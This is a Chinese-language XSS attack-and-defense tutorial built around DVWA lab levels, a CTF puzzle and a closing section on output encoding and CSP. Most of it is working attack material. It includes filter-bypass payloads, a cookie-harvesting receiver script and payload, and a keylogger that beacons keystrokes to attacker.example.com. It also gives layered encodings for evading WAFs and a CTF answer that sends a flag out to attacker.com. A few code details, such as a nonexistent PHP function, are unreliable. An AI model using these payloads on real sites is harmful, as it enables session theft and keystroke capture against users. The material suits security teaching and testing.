反射型XSS攻防演练与绕过技巧
反射型XSS核心机制
反射型XSS的恶意载荷不会持久化存储,其攻击链路依赖于即时性的参数反射。服务端将用户可控的输入原样嵌入响应页面,浏览器解析时触发非预期脚本执行。
攻击链路拆解
构造注入载荷 → 社交工程诱导点击 → 服务端参数回显 → 渲染引擎解析执行 → 敏感信息外泄
DVWA靶场多层级突破
Low级别:零防御场景
// 漏洞代码
<?php
$visitor = $_GET['user'];
print("欢迎, " . $visitor);
?>
直接注入标准脚本标签即可触发:
http://靶机地址/vuln.php?user=<script>confirm('xss')</script>
Medium级别:黑名单绕过
// 存在缺陷的过滤逻辑
<?php
$visitor = str_replace_once('<script>', '', $_GET['user']);
echo "欢迎, " . $visitor;
?>
单次替换的防御策略存在明显盲区:
- 嵌套双写:
<scr<script>ipt>→ 过滤后复原为<script> - 事件驱动型标签:
<img src=0 onerror=eval(atob('YWxlcnQoMSk='))> - 伪协议利用:
<a href="javascript:alert(1)">点击</a>
High级别:正则表达式绕过
// 基于正则的过滤
<?php
$visitor = preg_replace('/<script.*?>.*?<\/script>/is', '', $_GET['user']);
echo "欢迎, " . $visitor;
?>
针对script标签的正则匹配可通过以下方式规避:
// SVG矢量图标签事件
<svg onload="location.href='//恶意域名/?c='+document.cookie">
// 利用HTML5新特性
<video src=1 onerror=alert(1)>
<audio src=1 onerror=alert(1)>
// 利用数学元素
<math><mtext onmouseover=alert(1)>Hover me</mtext></math>
实战载荷构造:Cookie窃取
攻击服务端接收脚本(receiver.php):
<?php
$stolen = $_REQUEST['token'];
file_put_contents('/var/log/xss/cookies.log', date('Y-m-d H:i:s') . ' ' . $_SERVER['REMOTE_ADDR'] . ' ' . $stolen . PHP_EOL, FILE_APPEND | LOCK_EX);
?>
客户端窃取载荷:
<img src="x" onerror="fetch('https://attacker.example.com/receiver.php?token='+btoa(document.cookie))">
键盘行为监控实现
<script>
(function(){
const remote = 'https://attacker.example.com/keystroke';
let buffer = '';
window.addEventListener('keypress', function(evt) {
buffer += evt.key;
if (buffer.length >= 10) {
navigator.sendBeacon(remote, JSON.stringify({
data: buffer,
page: location.href,
timestamp: Date.now()
}));
buffer = '';
}
});
})();
</script>
编码混淆与WAF对抗
现代Web应用防火墙常对原始请求特征进行检测,多层编码可有效提升绕过成功率:
| 编码层级 | 编码结果示例 | 适用场景 |
|---|---|---|
| URL编码 | %3C%73%63%72%69%70%74%3E | 绕过简单关键字匹配 |
| HTML实体 | <script> | 服务端HTML解码场景 |
| Unicode转义 | \u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e | JavaScript上下文注入 |
| Base64编码 | PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== | 配合eval/atob使用 |
复合编码示例:
// 原始载荷
alert(document.domain)
// 第一层:JS Unicode转义
eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0064\u006f\u006d\u0061\u0069\u006e\u0029")
// 第二层:URL编码
%65%76%61%6c%28%22%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34%5c%75%30%30%32%38%5c%75%30%30%36%34%5c%75%30%30%36%66%5c%75%30%30%36%33%5c%75%30%30%37%35%5c%75%30%30%36%64%5c%75%30%30%36%35%5c%75%30%30%36%65%5c%75%30%30%37%34%5c%75%30%30%32%65%5c%75%30%30%36%34%5c%75%30%30%36%66%5c%75%30%30%36%64%5c%75%30%30%36%31%5c%75%30%30%36%39%5c%75%30%30%36%65%5c%75%30%30%32%39%22%29
CTF典型题型解析
题目环境:
<?php
$keyword = $_GET['q'];
?>
<div class="result">
<span>搜索关键词:</span><?php echo $keyword; ?>
</div>
解题思路:由于输出点位于HTML标签内部且未做编码,直接闭合原有标签注入事件处理器:
?q=</span><img src=x onerror=fetch('//attacker.com/?f='+localStorage.getItem('flag'))><span>
防御方案实施
输出端编码是最有效的防御手段,针对不同上下文需采用相应编码策略:
<?php
class XSSFilter {
// HTML正文上下文
public static function htmlContext($untrusted) {
return htmlspecialchars($untrusted, ENT_QUOTES | ENT_HTML5, 'UTF-8');
}
// JavaScript字符串上下文
public static function jsContext($untrusted) {
return json_encode($untrusted, JSON_UNESCAPED_UNICODE | JSON_HEX_TAG | JSON_HEX_AMP);
}
// URL参数上下文
public static function urlContext($untrusted) {
return rawurlencode($untrusted);
}
// CSS属性值上下文
public static function cssContext($untrusted) {
return preg_replace('/[^a-zA-Z0-9\-_]/', '', $untrusted);
}
}
// 使用示例
$userInput = $_GET['comment'];
?>
<div class="comment"><?= XSSFilter::htmlContext($userInput) ?></div>
<script>
var note = <?= XSSFilter::jsContext($userInput) ?>;
</script>
补充性防御措施:
- 启用Content-Security-Policy响应头:
Content-Security-Policy: default-src 'self'; script-src 'none' - 敏感Cookie设置HttpOnly属性,阻断JavaScript访问通道
- 部署X-Frame-Options响应头防范点击劫持配合XSS的组合攻击